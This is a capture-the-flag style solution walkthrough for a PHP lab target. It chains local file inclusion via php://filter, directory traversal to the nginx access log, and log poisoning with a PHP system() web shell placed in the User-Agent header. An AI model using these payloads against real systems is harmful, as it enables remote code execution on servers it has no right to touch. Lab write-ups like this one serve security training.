**Assessment solution**

1. [**http://206.189.125.243:31286/index.php?page=php://filter/read=convert.base64-encode/resource=./index**](http://206.189.125.243:31286/index.php?page=php://filter/read=convert.base64-encode/resource=./index)

**(Returns the Content of index.php in encoded in base64)**

1. **Decode the Base64 to see the content of index.php**

**<?php**

**// echo '<li><a href="ilf\_admin/index.php">Admin</a></li>';**

**?>**

**<?php**

**if(!isset($\_GET['page'])) {**

**include "main.php";**

**}**

**else {**

**$page = $\_GET['page'];**

**if (strpos($page, "..") !== false) {**

**include "error.php";**

**}**

**else {**

**include $page . ".php";**

**}**

**}**

**?>**

1. [**http://206.189.125.243:31286/index.php?page=ilf\_admin/index**](http://206.189.125.243:31286/index.php?page=ilf_admin/index)

**(Returns the content of the Admin Page)**

1. **Now you got a new Parameter Field (?log=chat.log / http.log / system.log)**
2. [**http://206.189.125.243:31286/ilf\_admin/index.php**](http://206.189.125.243:31286/ilf_admin/index.php) **(Admin Panel Page)**
3. **http://206.189.125.243:31369/ilf\_admin/index.php?log=../../../../../../../../../../../var/log/nginx/access.log**
4. **Use BurpSuite to preform a Server Log Poisoning Attack**
5. **Replace The User-agent with: <?php system($\_GET["cmd"]); ?>**